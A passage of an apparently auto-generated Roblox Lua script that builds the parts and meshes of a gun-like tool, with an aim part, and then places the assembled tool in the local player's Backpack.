  2628. SpecialMesh220.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2629. SpecialMesh220.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  2630. SpecialMesh220.MeshType = Enum.MeshType.FileMesh
  2631. SpecialMesh220.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  2632. Part221.Parent = Tool0
  2633. Part221.Material = Enum.Material.SmoothPlastic
  2634. Part221.BrickColor = BrickColor.new("Black")
  2635. Part221.Rotation = Vector3.new(0, 90, 0)
  2636. Part221.Anchored = true
  2637. Part221.FormFactor = Enum.FormFactor.Custom
  2638. Part221.Size = Vector3.new(3.39259124, 0.200000003, 0.200000003)
  2639. Part221.CFrame = CFrame.new(34.4185791, 1.55698204, -10.6962881, -4.37113918e-08, 8.7422741e-08, 1, 7.10542736e-15, 1, -8.74227553e-08, -1, 7.10542736e-15, -4.37113918e-08)
  2640. Part221.BottomSurface = Enum.SurfaceType.Smooth
  2641. Part221.TopSurface = Enum.SurfaceType.Smooth
  2642. Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2643. Part221.Position = Vector3.new(34.4185791, 1.55698204, -10.6962881)
  2644. Part221.Orientation = Vector3.new(0, 90, 0)
  2645. Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2646. SpecialMesh222.Parent = Part221
  2647. SpecialMesh222.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2648. SpecialMesh222.MeshType = Enum.MeshType.Wedge
  2649. SpecialMesh222.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2650. Part223.Parent = Tool0
  2651. Part223.Material = Enum.Material.SmoothPlastic
  2652. Part223.BrickColor = BrickColor.new("Black")
  2653. Part223.Reflectance = 0.20000000298023
  2654. Part223.Rotation = Vector3.new(0, 0, -180)
  2655. Part223.Anchored = true
  2656. Part223.FormFactor = Enum.FormFactor.Custom
  2657. Part223.Size = Vector3.new(0.20740746, 0.200000003, 0.200000003)
  2658. Part223.CFrame = CFrame.new(34.5, 1.06821096, -12.2999878, -1, 0, -4.37113812e-08, 3.55271368e-15, -1, 4.37113918e-08, -4.37113812e-08, 4.37113918e-08, 1)
  2659. Part223.BottomSurface = Enum.SurfaceType.Smooth
  2660. Part223.TopSurface = Enum.SurfaceType.Smooth
  2661. Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2662. Part223.Position = Vector3.new(34.5, 1.06821096, -12.2999878)
  2663. Part223.Orientation = Vector3.new(0, 0, 180)
  2664. Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2665. SpecialMesh224.Parent = Part223
  2666. SpecialMesh224.Scale = Vector3.new(1, 0.592593193, 0.555555344)
  2667. SpecialMesh224.MeshType = Enum.MeshType.Wedge
  2668. SpecialMesh224.Scale = Vector3.new(1, 0.592593193, 0.555555344)
  2669. Part225.Parent = Tool0
  2670. Part225.Material = Enum.Material.SmoothPlastic
  2671. Part225.BrickColor = BrickColor.new("Black")
  2672. Part225.Reflectance = 0.20000000298023
  2673. Part225.Anchored = true
  2674. Part225.FormFactor = Enum.FormFactor.Custom
  2675. Part225.Size = Vector3.new(0.20740743, 0.200000003, 0.740741551)
  2676. Part225.CFrame = CFrame.new(34.5, 1.48300803, -12.9407339, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2677. Part225.BottomSurface = Enum.SurfaceType.Smooth
  2678. Part225.TopSurface = Enum.SurfaceType.Smooth
  2679. Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2680. Part225.Position = Vector3.new(34.5, 1.48300803, -12.9407339)
  2681. Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2682. BlockMesh226.Parent = Part225
  2683. BlockMesh226.Scale = Vector3.new(1, 0.77777797, 1)
  2684. BlockMesh226.Scale = Vector3.new(1, 0.77777797, 1)
  2685. Part227.Parent = Tool0
  2686. Part227.Material = Enum.Material.SmoothPlastic
  2687. Part227.BrickColor = BrickColor.new("Really black")
  2688. Part227.Rotation = Vector3.new(180, 0, 90)
  2689. Part227.Anchored = true
  2690. Part227.FormFactor = Enum.FormFactor.Custom
  2691. Part227.Size = Vector3.new(0.200000003, 0.200000003, 1.34074676)
  2692. Part227.CFrame = CFrame.new(34.3814697, 1.42001903, -9.67034817, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  2693. Part227.BottomSurface = Enum.SurfaceType.Smooth
  2694. Part227.TopSurface = Enum.SurfaceType.Smooth
  2695. Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2696. Part227.Position = Vector3.new(34.3814697, 1.42001903, -9.67034817)
  2697. Part227.Orientation = Vector3.new(0, -180, -90)
  2698. Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2699. BlockMesh228.Parent = Part227
  2700. BlockMesh228.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2701. BlockMesh228.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2702. Part229.Parent = Tool0
  2703. Part229.Material = Enum.Material.SmoothPlastic
  2704. Part229.BrickColor = BrickColor.new("Institutional white")
  2705. Part229.Transparency = 0.80000001192093
  2706. Part229.Rotation = Vector3.new(90, -90, 0)
  2707. Part229.Anchored = true
  2708. Part229.Size = Vector3.new(1, 1.20000005, 1)
  2709. Part229.CFrame = CFrame.new(34.5021973, 2.04355502, -11.0737925, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  2710. Part229.BottomSurface = Enum.SurfaceType.Smooth
  2711. Part229.TopSurface = Enum.SurfaceType.Smooth
  2712. Part229.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2713. Part229.Position = Vector3.new(34.5021973, 2.04355502, -11.0737925)
  2714. Part229.Orientation = Vector3.new(0, -90, -90)
  2715. Part229.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2716. CylinderMesh230.Parent = Part229
  2717. CylinderMesh230.Scale = Vector3.new(0.148148149, 0.0370370373, 0.148148149)
  2718. CylinderMesh230.Scale = Vector3.new(0.148148149, 0.0370370373, 0.148148149)
  2719. Part231.Parent = Tool0
  2720. Part231.Material = Enum.Material.SmoothPlastic
  2721. Part231.BrickColor = BrickColor.new("Black")
  2722. Part231.Anchored = true
  2723. Part231.FormFactor = Enum.FormFactor.Custom
  2724. Part231.Size = Vector3.new(0.200000003, 0.200000003, 0.474074662)
  2725. Part231.CFrame = CFrame.new(34.5, 1.47934496, -13.1999435, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2726. Part231.BottomSurface = Enum.SurfaceType.Smooth
  2727. Part231.TopSurface = Enum.SurfaceType.Smooth
  2728. Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2729. Part231.Position = Vector3.new(34.5, 1.47934496, -13.1999435)
  2730. Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2731. BlockMesh232.Parent = Part231
  2732. BlockMesh232.Scale = Vector3.new(0.814815104, 0.666666627, 1)
  2733. BlockMesh232.Scale = Vector3.new(0.814815104, 0.666666627, 1)
  2734. Part233.Parent = Tool0
  2735. Part233.Material = Enum.Material.SmoothPlastic
  2736. Part233.BrickColor = BrickColor.new("Black")
  2737. Part233.Rotation = Vector3.new(180, 90, 0)
  2738. Part233.Anchored = true
  2739. Part233.FormFactor = Enum.FormFactor.Custom
  2740. Part233.Size = Vector3.new(1.97037065, 0.200000003, 0.200000003)
  2741. Part233.CFrame = CFrame.new(34.4185791, 1.26816404, -9.98516846, 0, 0, 1, 0, -1, 0, 1, 0, -0)
  2742. Part233.BottomSurface = Enum.SurfaceType.Smooth
  2743. Part233.TopSurface = Enum.SurfaceType.Smooth
  2744. Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2745. Part233.Position = Vector3.new(34.4185791, 1.26816404, -9.98516846)
  2746. Part233.Orientation = Vector3.new(0, 90, 180)
  2747. Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2748. SpecialMesh234.Parent = Part233
  2749. SpecialMesh234.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2750. SpecialMesh234.MeshType = Enum.MeshType.Wedge
  2751. SpecialMesh234.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2752. Part235.Parent = Tool0
  2753. Part235.Material = Enum.Material.SmoothPlastic
  2754. Part235.BrickColor = BrickColor.new("Black")
  2755. Part235.Reflectance = 0.20000000298023
  2756. Part235.Anchored = true
  2757. Part235.FormFactor = Enum.FormFactor.Custom
  2758. Part235.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2759. Part235.CFrame = CFrame.new(34.6148682, 1.41269505, -10.5888662, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2760. Part235.BottomSurface = Enum.SurfaceType.Smooth
  2761. Part235.TopSurface = Enum.SurfaceType.Smooth
  2762. Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2763. Part235.Position = Vector3.new(34.6148682, 1.41269505, -10.5888662)
  2764. Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2765. BlockMesh236.Parent = Part235
  2766. BlockMesh236.Scale = Vector3.new(0.185185179, 0.259259105, 0.0370370373)
  2767. BlockMesh236.Scale = Vector3.new(0.185185179, 0.259259105, 0.0370370373)
  2768. Part237.Name = "AimPart"
  2769. Part237.Parent = Tool0
  2770. Part237.Material = Enum.Material.SmoothPlastic
  2771. Part237.BrickColor = BrickColor.new("Dark stone grey")
  2772. Part237.Reflectance = 0.20000000298023
  2773. Part237.Transparency = 1
  2774. Part237.Rotation = Vector3.new(180, 0, -180)
  2775. Part237.Anchored = true
  2776. Part237.FormFactor = Enum.FormFactor.Custom
  2777. Part237.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2778. Part237.CFrame = CFrame.new(34.4963379, 1.87192404, -12.1814537, -0.999999702, 5.96046448e-08, -4.88548757e-08, 5.96046448e-08, 0.999999702, -5.71382657e-08, 4.8854865e-08, -1.34268845e-08, -1)
  2779. Part237.BottomSurface = Enum.SurfaceType.Smooth
  2780. Part237.TopSurface = Enum.SurfaceType.Smooth
  2781. Part237.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2782. Part237.Position = Vector3.new(34.4963379, 1.87192404, -12.1814537)
  2783. Part237.Orientation = Vector3.new(0, -180, 0)
  2784. Part237.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2785. BlockMesh238.Parent = Part237
  2786. BlockMesh238.Scale = Vector3.new(0.259259194, 0.185185149, 0.111111082)
  2787. BlockMesh238.Scale = Vector3.new(0.259259194, 0.185185149, 0.111111082)
  2788. for i,v in pairs(mas:GetChildren()) do
  2789. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  2790. pcall(function() v:MakeJoints() end)
  2791. end
  2792. mas:Destroy()
  2793. for i,v in pairs(cors) do
  2794. spawn(function()
  2795. pcall(v)
  2796. end)
  2797. end
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